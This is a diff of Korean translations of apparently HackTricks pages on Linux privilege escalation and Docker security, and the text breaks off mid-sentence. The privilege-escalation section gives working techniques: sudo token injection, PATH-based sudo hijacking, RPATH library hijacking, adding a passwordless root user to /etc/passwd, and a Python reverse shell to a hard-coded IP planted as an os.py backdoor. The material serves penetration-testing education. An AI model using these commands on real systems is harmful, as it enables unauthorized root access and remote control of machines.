sudo 토큰의 지속 시간입니다). -- `cat /proc/sys/kernel/yama/ptrace_scope`는 0입니다. -- `gdb`에 접근할 수 있습니다 (업로드할 수 있어야 합니다). +- 이미 "_sampleuser_" 사용자로 셸을 가지고 있음 +- "_sampleuser_"가 **지난 15분** 동안 **무언가를 실행하기 위해 `sudo`를 사용함** (기본적으로 이는 비밀번호를 입력하지 않고 `sudo`를 사용할 수 있게 해주는 sudo 토큰의 지속 시간입니다) +- `cat /proc/sys/kernel/yama/ptrace_scope`는 0임 +- `gdb`에 접근 가능 (업로드할 수 있어야 함) -(일시적으로 `ptrace_scope`를 활성화하려면 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`를 사용하거나 `/etc/sysctl.d/10-ptrace.conf`를 영구적으로 수정하고 `kernel.yama.ptrace_scope = 0`으로 설정할 수 있습니다.) +(일시적으로 `ptrace_scope`를 활성화하려면 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`를 사용하거나 `/etc/sysctl.d/10-ptrace.conf`를 영구적으로 수정하고 `kernel.yama.ptrace_scope = 0`으로 설정할 수 있습니다) 이 모든 요구 사항이 충족되면, **다음 링크를 사용하여 권한을 상승시킬 수 있습니다:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- **첫 번째 익스플로잇**(`exploit.sh`)은 _/tmp_에 `activate_sudo_token` 바이너리를 생성합니다. 이를 사용하여 **세션에서 sudo 토큰을 활성화할 수 있습니다** (자동으로 루트 셸을 얻지 않으며, `sudo su`를 실행해야 합니다): +- **첫 번째 익스플로잇**(`exploit.sh`)은 _/tmp_에 바이너리 `activate_sudo_token`을 생성합니다. 이를 사용하여 **세션에서 sudo 토큰을 활성화할 수 있습니다** (자동으로 루트 셸을 얻지 않으며, `sudo su`를 실행해야 함): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- 두 번째 익스플로잇 (`exploit_v2.sh`)은 _/tmp_에 **setuid가 설정된 root 소유의 sh 셸**을 생성합니다. +- 두 번째 익스플로잇 (`exploit_v2.sh`)은 _/tmp_에 **setuid로 루트가 소유한 sh 셸**을 생성합니다. ```bash bash exploit_v2.sh /tmp/sh -p @@ -942,8 +946,8 @@ sudo su ``` ### /var/run/sudo/ts/\ -폴더 내의 파일에 **쓰기 권한**이 있는 경우, 이진 파일 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)을 사용하여 **사용자 및 PID에 대한 sudo 토큰을 생성**할 수 있습니다.\ -예를 들어, _/var/run/sudo/ts/sampleuser_ 파일을 덮어쓸 수 있고, PID 1234로 해당 사용자로 쉘을 가지고 있다면, 비밀번호를 알 필요 없이 **sudo 권한을 얻을 수** 있습니다. +해당 폴더 또는 폴더 내에 생성된 파일에 **쓰기 권한**이 있는 경우, 이진 파일 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)을 사용하여 **사용자 및 PID에 대한 sudo 토큰을 생성**할 수 있습니다.\ +예를 들어, _/var/run/sudo/ts/sampleuser_ 파일을 덮어쓸 수 있고, PID 1234로 해당 사용자로 쉘을 가지고 있다면, 비밀번호를 알 필요 없이 **sudo 권한을 얻을 수 있습니다**. ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` @@ -969,13 +973,13 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -`sudo` 바이너리의 대안으로 OpenBSD의 `doas`가 있습니다. `/etc/doas.conf`에서 구성 설정을 확인하는 것을 잊지 마세요. +`sudo` 바이너리의 대안으로 OpenBSD의 `doas`와 같은 것들이 있습니다. `/etc/doas.conf`에서 그 설정을 확인하는 것을 잊지 마세요. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -만약 **사용자가 일반적으로 머신에 연결하고 `sudo`를 사용하여 권한을 상승시키는** 것을 알고 있고, 그 사용자 컨텍스트 내에서 쉘을 얻었다면, **새로운 sudo 실행 파일을 생성**하여 루트로서 당신의 코드를 실행하고 그 다음 사용자의 명령을 실행할 수 있습니다. 그런 다음, **사용자 컨텍스트의 $PATH를 수정**하여 (예: .bash_profile에 새로운 경로 추가) 사용자가 sudo를 실행할 때 당신의 sudo 실행 파일이 실행되도록 합니다. +만약 **사용자가 일반적으로 머신에 연결하고 `sudo`를 사용하여 권한을 상승시키는** 것을 알고 있고, 그 사용자 컨텍스트 내에서 쉘을 얻었다면, **새로운 sudo 실행 파일을 생성**하여 루트로서 당신의 코드를 실행한 다음 사용자의 명령을 실행할 수 있습니다. 그런 다음, **사용자 컨텍스트의 $PATH를 수정**하여 (예: .bash_profile에 새로운 경로 추가) 사용자가 sudo를 실행할 때 당신의 sudo 실행 파일이 실행되도록 합니다. 사용자가 다른 쉘(배시가 아닌)을 사용하는 경우, 새로운 경로를 추가하기 위해 다른 파일을 수정해야 한다는 점에 유의하세요. 예를 들어 [sudo-piggyback](https://github.com/APTy/sudo-piggyback)는 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`를 수정합니다. [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)에서 또 다른 예를 찾을 수 있습니다. @@ -1002,7 +1006,7 @@ sudo ls 이는 `/etc/ld.so.conf.d/*.conf`의 구성 파일이 읽힐 것임을 의미합니다. 이 구성 파일은 **라이브러리**가 **검색**될 **다른 폴더**를 가리킵니다. 예를 들어, `/etc/ld.so.conf.d/libc.conf`의 내용은 `/usr/local/lib`입니다. **이는 시스템이 `/usr/local/lib` 내에서 라이브러리를 검색할 것임을 의미합니다.** -어떤 이유로 **사용자가 다음 경로에 쓰기 권한**을 가지고 있다면: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 내의 모든 파일 또는 `/etc/ld.so.conf.d/*.conf` 내의 구성 파일에 있는 모든 폴더, 그는 권한 상승을 할 수 있습니다.\ +어떤 이유로 **사용자가 다음 경로 중 하나에 쓰기 권한**을 가지고 있다면: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 내의 모든 파일 또는 `/etc/ld.so.conf.d/*.conf` 내의 구성 파일에 있는 모든 폴더, 그는 권한 상승을 할 수 있습니다.\ 다음 페이지에서 **이 잘못된 구성을 악용하는 방법**을 확인하세요: {{#ref}} @@ -1020,7 +1024,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -`/var/tmp/flag15/`에 lib를 복사함으로써 `RPATH` 변수에 지정된 대로 이 위치에서 프로그램에 의해 사용될 것입니다. +`/var/tmp/flag15/`에 lib를 복사함으로써, `RPATH` 변수에 지정된 대로 이 위치에서 프로그램에 의해 사용될 것입니다. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1029,7 +1033,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -`/var/tmp`에 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`를 사용하여 악성 라이브러리를 생성합니다. +그런 다음 `/var/tmp`에 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`를 사용하여 악성 라이브러리를 생성합니다. ```c #include #define SHELL "/bin/sh" @@ -1119,14 +1123,14 @@ Check **Valentine box from HTB** for an example. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -모든 SSL 및 SSH 키는 2006년 9월부터 2008년 5월 13일 사이에 Debian 기반 시스템(Ubuntu, Kubuntu 등)에서 생성된 경우 이 버그의 영향을 받을 수 있습니다.\ -이 버그는 해당 OS에서 새로운 ssh 키를 생성할 때 발생하며, **가능한 변형이 32,768개뿐이었습니다**. 이는 모든 가능성을 계산할 수 있음을 의미하며, **ssh 공개 키가 있으면 해당 개인 키를 검색할 수 있습니다**. 계산된 가능성은 여기에서 확인할 수 있습니다: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +2006년 9월부터 2008년 5월 13일 사이에 Debian 기반 시스템(Ubuntu, Kubuntu 등)에서 생성된 모든 SSL 및 SSH 키는 이 버그의 영향을 받을 수 있습니다.\ +이 버그는 해당 OS에서 새로운 ssh 키를 생성할 때 발생하며, **가능한 변형이 32,768개뿐이었습니다**. 이는 모든 가능성을 계산할 수 있음을 의미하며, **ssh 공개 키를 가지고 있으면 해당 개인 키를 검색할 수 있습니다**. 계산된 가능성은 여기에서 확인할 수 있습니다: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values - **PasswordAuthentication:** 비밀번호 인증이 허용되는지 여부를 지정합니다. 기본값은 `no`입니다. - **PubkeyAuthentication:** 공개 키 인증이 허용되는지 여부를 지정합니다. 기본값은 `yes`입니다. -- **PermitEmptyPasswords**: 비밀번호 인증이 허용될 때, 서버가 비밀번호 문자열이 비어 있는 계정으로 로그인하는 것을 허용하는지 여부를 지정합니다. 기본값은 `no`입니다. +- **PermitEmptyPasswords**: 비밀번호 인증이 허용될 때, 서버가 빈 비밀번호 문자열로 계정에 로그인하는 것을 허용하는지 여부를 지정합니다. 기본값은 `no`입니다. ### PermitRootLogin @@ -1135,7 +1139,7 @@ root가 ssh를 사용하여 로그인할 수 있는지 여부를 지정하며, - `yes`: root는 비밀번호와 개인 키를 사용하여 로그인할 수 있습니다. - `without-password` 또는 `prohibit-password`: root는 개인 키로만 로그인할 수 있습니다. - `forced-commands-only`: root는 개인 키를 사용하여 로그인할 수 있으며, 명령 옵션이 지정되어야 합니다. -- `no`: 불가능합니다. +- `no`: 로그인 불가 ### AuthorizedKeysFile @@ -1154,12 +1158,12 @@ SSH 에이전트 포워딩을 사용하면 **서버에 키를 남기지 않고** Host example.com ForwardAgent yes ``` -`Host`가 `*`인 경우 사용자가 다른 머신으로 이동할 때마다 해당 호스트가 키에 접근할 수 있게 되며(이는 보안 문제입니다). +`Host`가 `*`인 경우 사용자가 다른 머신으로 이동할 때마다 해당 호스트가 키에 접근할 수 있으므로(이는 보안 문제입니다). 파일 `/etc/ssh_config`는 이 **옵션**을 **재정의**하고 이 구성을 허용하거나 거부할 수 있습니다.\ 파일 `/etc/sshd_config`는 `AllowAgentForwarding` 키워드를 사용하여 ssh-agent 포워딩을 **허용**하거나 **거부**할 수 있습니다(기본값은 허용). -Forward Agent가 환경에 구성되어 있는 경우 다음 페이지를 읽으십시오. **권한 상승을 악용할 수 있을지도 모릅니다**: +환경에서 Forward Agent가 구성되어 있는 경우 **권한 상승을 악용할 수 있으므로** 다음 페이지를 읽어보십시오: {{#ref}} ssh-forward-agent-exploitation.md @@ -1202,7 +1206,7 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -이제 `su` 명령어를 `hacker:hacker`로 사용할 수 있습니다. +이제 `hacker:hacker`로 `su` 명령을 사용할 수 있습니다. 또는 다음 줄을 사용하여 비밀번호가 없는 더미 사용자를 추가할 수 있습니다.\ 경고: 현재 머신의 보안을 저하시킬 수 있습니다. @@ -1210,7 +1214,7 @@ E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -참고: BSD 플랫폼에서는 `/etc/passwd`가 `/etc/pwd.db` 및 `/etc/master.passwd`에 위치하고, `/etc/shadow`는 `/etc/spwd.db`로 이름이 변경됩니다. +참고: BSD 플랫폼에서는 `/etc/passwd`가 `/etc/pwd.db` 및 `/etc/master.passwd`에 위치하며, `/etc/shadow`는 `/etc/spwd.db`로 이름이 변경됩니다. 민감한 파일에 **쓰기**가 가능한지 확인해야 합니다. 예를 들어, **서비스 구성 파일**에 쓸 수 있습니까? ```bash @@ -1282,7 +1286,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### 비밀번호가 포함된 알려진 파일 -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)의 코드를 읽어보세요. 이 도구는 **비밀번호가 포함될 수 있는 여러 파일을 검색합니다**.\ +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 코드를 읽어보세요. 이 도구는 **비밀번호가 포함될 수 있는 여러 파일을 검색합니다**.\ **또 다른 흥미로운 도구**는 [**LaZagne**](https://github.com/AlessandroZ/LaZagne)로, 이는 Windows, Linux 및 Mac에서 로컬 컴퓨터에 저장된 많은 비밀번호를 검색하는 데 사용되는 오픈 소스 애플리케이션입니다. ### 로그 @@ -1293,7 +1297,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -**로그를 읽기 위해 그룹** [**adm**](interesting-groups-linux-pe/#adm-group)는 정말 유용할 것입니다. +로그를 **읽기 위해 그룹** [**adm**](interesting-groups-linux-pe/#adm-group)가 정말 유용할 것입니다. ### 셸 파일 ```bash @@ -1315,15 +1319,15 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ### Python library hijacking -어디서 **python** 스크립트가 실행될 것인지 알고 있고, 해당 폴더에 **쓰기**가 가능하거나 **python 라이브러리**를 **수정**할 수 있다면, OS 라이브러리를 수정하고 백도어를 설치할 수 있습니다(파이썬 스크립트가 실행될 위치에 쓸 수 있다면 os.py 라이브러리를 복사하여 붙여넣기 하세요). +어디서 **python** 스크립트가 실행될 것인지 알고 있고, 해당 폴더에 **쓰기**가 가능하거나 **python 라이브러리**를 **수정**할 수 있다면, OS 라이브러리를 수정하고 백도어를 설치할 수 있습니다(파이썬 스크립트가 실행될 위치에 쓸 수 있다면, os.py 라이브러리를 복사하여 붙여넣기 하세요). -라이브러리를 **백도어**하려면 os.py 라이브러리의 끝에 다음 줄을 추가하세요(IP와 PORT를 변경하세요): +**라이브러리에 백도어를 설치하려면** os.py 라이브러리의 끝에 다음 줄을 추가하세요(IP와 PORT를 변경하세요): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate 취약점 -`logrotate`의 취약점은 로그 파일이나 그 상위 디렉토리에 **쓰기 권한**이 있는 사용자가 권한 상승을 얻을 수 있게 합니다. 이는 `logrotate`가 종종 **root**로 실행되기 때문에, _**/etc/bash_completion.d/**_와 같은 디렉토리에서 임의의 파일을 실행하도록 조작될 수 있습니다. 로그 회전이 적용되는 모든 디렉토리뿐만 아니라 _/var/log_에서도 권한을 확인하는 것이 중요합니다. +`logrotate`의 취약점은 로그 파일이나 그 상위 디렉토리에 **쓰기 권한**이 있는 사용자가 잠재적으로 권한 상승을 얻을 수 있게 합니다. 이는 `logrotate`가 종종 **root**로 실행되기 때문에, _**/etc/bash_completion.d/**_와 같은 디렉토리에서 임의의 파일을 실행하도록 조작될 수 있습니다. 로그 회전이 적용되는 모든 디렉토리뿐만 아니라 _/var/log_에서도 권한을 확인하는 것이 중요합니다. > [!NOTE] > 이 취약점은 `logrotate` 버전 `3.18.0` 및 이전 버전에 영향을 미칩니다. @@ -1332,7 +1336,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s 이 취약점은 [**logrotten**](https://github.com/whotwagner/logrotten)으로 악용할 수 있습니다. -이 취약점은 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx 로그)**와 매우 유사하므로, 로그를 변경할 수 있는 경우 로그를 관리하는 사람이 누구인지 확인하고, 로그를 심볼릭 링크로 대체하여 권한을 상승시킬 수 있는지 확인하십시오. +이 취약점은 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx 로그)**와 매우 유사하므로, 로그를 변경할 수 있는 경우 로그를 관리하는 사람이 누구인지 확인하고, 로그를 심볼릭 링크로 대체하여 권한 상승이 가능한지 확인하십시오. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) @@ -1352,13 +1356,13 @@ DEVICE=eth0 ``` ### **init, init.d, systemd, 및 rc.d** -디렉토리 `/etc/init.d`는 **System V init (SysVinit)**을 위한 **스크립트**의 집합입니다. 이는 **고전적인 리눅스 서비스 관리 시스템**으로, 서비스의 `start`, `stop`, `restart`, 때때로 `reload`를 위한 스크립트를 포함합니다. 이 스크립트는 직접 실행하거나 `/etc/rc?.d/`에 있는 심볼릭 링크를 통해 실행할 수 있습니다. Redhat 시스템의 대체 경로는 `/etc/rc.d/init.d`입니다. +디렉토리 `/etc/init.d`는 **System V init (SysVinit)**을 위한 **스크립트**의 집합입니다. 이는 **고전적인 리눅스 서비스 관리 시스템**으로, 서비스의 `start`, `stop`, `restart`, 때때로 `reload`를 위한 스크립트를 포함합니다. 이러한 스크립트는 직접 실행하거나 `/etc/rc?.d/`에 있는 심볼릭 링크를 통해 실행할 수 있습니다. Redhat 시스템의 대체 경로는 `/etc/rc.d/init.d`입니다. -반면에, `/etc/init`는 **Upstart**와 관련이 있으며, 이는 Ubuntu에서 도입한 최신 **서비스 관리**로, 서비스 관리 작업을 위한 구성 파일을 사용합니다. Upstart로의 전환에도 불구하고, SysVinit 스크립트는 Upstart 구성과 함께 여전히 사용됩니다. +반면에, `/etc/init`는 **Upstart**와 관련이 있으며, 이는 우분투에서 도입한 최신 **서비스 관리**로, 서비스 관리 작업을 위한 구성 파일을 사용합니다. Upstart로의 전환에도 불구하고, SysVinit 스크립트는 Upstart 구성과 함께 호환성 계층 덕분에 여전히 사용됩니다. **systemd**는 현대적인 초기화 및 서비스 관리자이며, 온디맨드 데몬 시작, 자동 마운트 관리, 시스템 상태 스냅샷과 같은 고급 기능을 제공합니다. 이는 배포 패키지를 위한 `/usr/lib/systemd/`와 관리자의 수정을 위한 `/etc/systemd/system/`에 파일을 정리하여 시스템 관리 프로세스를 간소화합니다. -## 기타 팁 +## 기타 트릭 ### NFS 권한 상승 @@ -1396,11 +1400,11 @@ cisco-vmanage.md **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** 리눅스 및 MAC에서 커널 취약점 열거 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** 리눅스와 MAC의 커널 취약점 열거 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (물리적 접근):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**더 많은 스크립트의 수집**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**더 많은 스크립트 모음**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## 참고자료 diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index 556c55d49..50e6d3030 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -1,10 +1,10 @@ -# Docker Security +# Docker 보안 {{#include ../../../banners/hacktricks-training.md}} ## **기본 Docker 엔진 보안** -**Docker 엔진**은 Linux 커널의 **네임스페이스**와 **Cgroups**를 사용하여 컨테이너를 격리하여 기본적인 보안 계층을 제공합니다. **Capabilities dropping**, **Seccomp**, 및 **SELinux/AppArmor**를 통해 추가적인 보호가 제공되어 컨테이너 격리가 강화됩니다. **auth plugin**은 사용자 행동을 추가로 제한할 수 있습니다. +**Docker 엔진**은 Linux 커널의 **네임스페이스**와 **Cgroups**를 사용하여 컨테이너를 격리하여 기본적인 보안 계층을 제공합니다. 추가적인 보호는 **Capabilities dropping**, **Seccomp**, 및 **SELinux/AppArmor**를 통해 제공되어 컨테이너 격리를 강화합니다. **auth 플러그인**은 사용자 행동을 추가로 제한할 수 있습니다. ![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) @@ -28,13 +28,13 @@ sudo service docker restart 컨테이너 이미지는 개인 또는 공용 저장소에 저장될 수 있습니다. Docker는 컨테이너 이미지를 위한 여러 저장 옵션을 제공합니다: -- [**Docker Hub**](https://hub.docker.com): Docker의 공용 레지스트리 서비스. -- [**Docker Registry**](https://github.com/docker/distribution): 사용자가 자신의 레지스트리를 호스팅할 수 있도록 하는 오픈 소스 프로젝트. -- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): 역할 기반 사용자 인증 및 LDAP 디렉토리 서비스와의 통합 기능을 갖춘 Docker의 상업적 레지스트리 제공. +- [**Docker Hub**](https://hub.docker.com): Docker의 공용 레지스트리 서비스입니다. +- [**Docker Registry**](https://github.com/docker/distribution): 사용자가 자신의 레지스트리를 호스팅할 수 있도록 하는 오픈 소스 프로젝트입니다. +- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): 역할 기반 사용자 인증 및 LDAP 디렉토리 서비스와의 통합 기능을 갖춘 Docker의 상업적 레지스트리 제공입니다. ### 이미지 스캔 -컨테이너는 기본 이미지 또는 기본 이미지 위에 설치된 소프트웨어로 인해 **보안 취약점**을 가질 수 있습니다. Docker는 컨테이너의 보안 스캔을 수행하고 취약점을 나열하는 **Nautilus**라는 프로젝트를 진행 중입니다. Nautilus는 각 컨테이너 이미지 레이어를 취약점 저장소와 비교하여 보안 구멍을 식별합니다. +컨테이너는 기본 이미지 또는 기본 이미지 위에 설치된 소프트웨어로 인해 **보안 취약점**이 있을 수 있습니다. Docker는 컨테이너의 보안 스캔을 수행하고 취약점을 나열하는 **Nautilus**라는 프로젝트를 진행 중입니다. Nautilus는 각 컨테이너 이미지 레이어를 취약점 저장소와 비교하여 보안 구멍을 식별합니다. 자세한 [**정보는 여기에서 읽어보세요**](https://docs.docker.com/engine/scan/) . @@ -74,7 +74,7 @@ Docker 이미지 서명은 컨테이너에서 사용되는 이미지의 보안 - **Docker Content Trust**는 이미지 서명을 관리하기 위해 The Update Framework (TUF)를 기반으로 한 Notary 프로젝트를 활용합니다. 자세한 내용은 [Notary](https://github.com/docker/notary) 및 [TUF](https://theupdateframework.github.io)를 참조하세요. - Docker 콘텐츠 신뢰를 활성화하려면 `export DOCKER_CONTENT_TRUST=1`을 설정합니다. 이 기능은 Docker 버전 1.10 이상에서 기본적으로 꺼져 있습니다. -- 이 기능이 활성화되면 서명된 이미지만 다운로드할 수 있습니다. 초기 이미지 푸시에는 루트 및 태그 키에 대한 비밀번호를 설정해야 하며, Docker는 보안을 강화하기 위해 Yubikey도 지원합니다. 더 많은 세부정보는 [여기](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)에서 확인할 수 있습니다. +- 이 기능이 활성화되면 서명된 이미지만 다운로드할 수 있습니다. 초기 이미지 푸시에는 루트 및 태깅 키에 대한 비밀번호를 설정해야 하며, Docker는 보안을 강화하기 위해 Yubikey도 지원합니다. 더 많은 세부정보는 [여기](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)에서 확인할 수 있습니다. - 콘텐츠 신뢰가 활성화된 상태에서 서명되지 않은 이미지를 가져오려고 하면 "No trust data for latest" 오류가 발생합니다. - 첫 번째 이후의 이미지 푸시를 위해 Docker는 이미지를 서명하기 위해 리포지토리 키의 비밀번호를 요청합니다. @@ -92,7 +92,7 @@ Docker 호스트를 전환할 때, 운영을 유지하기 위해 루트 및 리 **주요 프로세스 격리 기능** -컨테이너화된 환경에서 프로젝트와 그 프로세스를 격리하는 것은 보안 및 자원 관리에 있어 매우 중요합니다. 다음은 주요 개념에 대한 간단한 설명입니다: +컨테이너화된 환경에서 프로젝트와 그 프로세스를 격리하는 것은 보안 및 자원 관리에 있어 매우 중요합니다. 주요 개념에 대한 간단한 설명은 다음과 같습니다: **네임스페이스** @@ -103,7 +103,7 @@ Docker 호스트를 전환할 때, 운영을 유지하기 위해 루트 및 리 **제어 그룹 (CGroups)** - **기능**: 주로 프로세스 간 자원을 할당하는 데 사용됩니다. -- **보안 측면**: CGroups 자체는 격리 보안을 제공하지 않지만, 잘못 구성된 경우 `release_agent` 기능이 무단 접근을 위해 악용될 수 있습니다. +- **보안 측면**: CGroups 자체는 격리 보안을 제공하지 않지만, 잘못 구성된 경우 무단 접근을 위해 악용될 수 있는 `release_agent` 기능이 있습니다. **능력 드롭** @@ -116,20 +116,20 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca ``` **Seccomp** -Docker에서 기본적으로 활성화되어 있습니다. 이는 **프로세스가 호출할 수 있는 syscalls를 더욱 제한하는 데 도움을 줍니다.**\ +Docker에서 기본적으로 활성화되어 있습니다. 이는 프로세스가 호출할 수 있는 **syscalls를 더욱 제한하는 데 도움을 줍니다**.\ **기본 Docker Seccomp 프로파일**은 [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)에서 찾을 수 있습니다. **AppArmor** Docker에는 활성화할 수 있는 템플릿이 있습니다: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) -이것은 권한, syscalls, 파일 및 폴더에 대한 접근을 줄이는 데 도움이 됩니다... +이것은 기능, syscalls, 파일 및 폴더에 대한 접근을 줄이는 데 도움이 됩니다... ### Namespaces -**Namespaces**는 **커널 리소스를 분할**하여 한 집합의 **프로세스**가 한 집합의 **리소스**를 **보고**, **다른** 집합의 **프로세스**가 **다른** 집합의 리소스를 보는 Linux 커널의 기능입니다. 이 기능은 리소스와 프로세스의 집합에 대해 동일한 네임스페이스를 가지지만, 해당 네임스페이스는 서로 다른 리소스를 참조함으로써 작동합니다. 리소스는 여러 공간에 존재할 수 있습니다. +**Namespaces**는 **커널 리소스를 분할하는** Linux 커널의 기능으로, 한 집합의 **프로세스**가 한 집합의 **리소스**를 **보고**, **다른** 집합의 **프로세스**가 **다른** 집합의 리소스를 보는 방식으로 작동합니다. 이 기능은 리소스와 프로세스의 집합에 대해 동일한 네임스페이스를 가지지만, 그 네임스페이스는 서로 다른 리소스를 참조합니다. 리소스는 여러 공간에 존재할 수 있습니다. Docker는 컨테이너 격리를 달성하기 위해 다음 Linux 커널 네임스페이스를 사용합니다: @@ -147,7 +147,7 @@ namespaces/ ### cgroups -Linux 커널 기능 **cgroups**는 **일련의 프로세스 간에 cpu, memory, io, network bandwidth와 같은 리소스를 제한하는 기능을 제공합니다.** Docker는 특정 컨테이너에 대한 리소스 제어를 허용하는 cgroup 기능을 사용하여 컨테이너를 생성할 수 있습니다.\ +Linux 커널 기능 **cgroups**는 **cpu, memory, io, network bandwidth와 같은 리소스를** 프로세스 집합에 대해 **제한할 수 있는 기능**을 제공합니다. Docker는 특정 컨테이너에 대한 리소스 제어를 허용하는 cgroup 기능을 사용하여 컨테이너를 생성할 수 있습니다.\ 다음은 사용자 공간 메모리가 500m로 제한되고, 커널 메모리가 50m로 제한되며, cpu share가 512, blkioweight가 400인 컨테이너입니다. CPU share는 컨테이너의 CPU 사용량을 제어하는 비율입니다. 기본값은 1024이며 0에서 1024 사이의 범위를 가집니다. 세 개의 컨테이너가 동일한 CPU share 1024를 가지면, 각 컨테이너는 CPU 리소스 경합 시 최대 33%의 CPU를 사용할 수 있습니다. blkio-weight는 컨테이너의 IO를 제어하는 비율입니다. 기본값은 500이며 10에서 1000 사이의 범위를 가집니다. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash @@ -168,7 +168,7 @@ cgroups.md 권한은 **루트 사용자에게 허용될 수 있는 권한에 대한 더 세밀한 제어를 허용**합니다. Docker는 Linux 커널 권한 기능을 사용하여 **사용자 유형에 관계없이 컨테이너 내에서 수행할 수 있는 작업을 제한**합니다. -Docker 컨테이너가 실행될 때, **프로세스는 격리에서 탈출하는 데 사용할 수 있는 민감한 권한을 포기합니다**. 이는 프로세스가 민감한 작업을 수행하고 탈출할 수 없도록 보장하려고 합니다: +Docker 컨테이너가 실행될 때, **프로세스는 격리에서 탈출하는 데 사용할 수 있는 민감한 권한을 포기합니다**. 이는 프로세스가 민감한 작업을 수행하고 탈출할 수 없도록 보장하려는 시도입니다: {{#ref}} ../linux-capabilities.md @@ -276,9 +276,9 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv 비밀을 Docker 이미지에 직접 포함시키거나 환경 변수를 사용하는 것은 피하는 것이 중요합니다. 이러한 방법은 `docker inspect` 또는 `exec`와 같은 명령을 통해 컨테이너에 접근할 수 있는 모든 사람에게 민감한 정보를 노출합니다. -**Docker 볼륨**은 민감한 정보에 접근하기 위한 더 안전한 대안입니다. 이는 메모리 내에서 임시 파일 시스템으로 활용될 수 있어 `docker inspect` 및 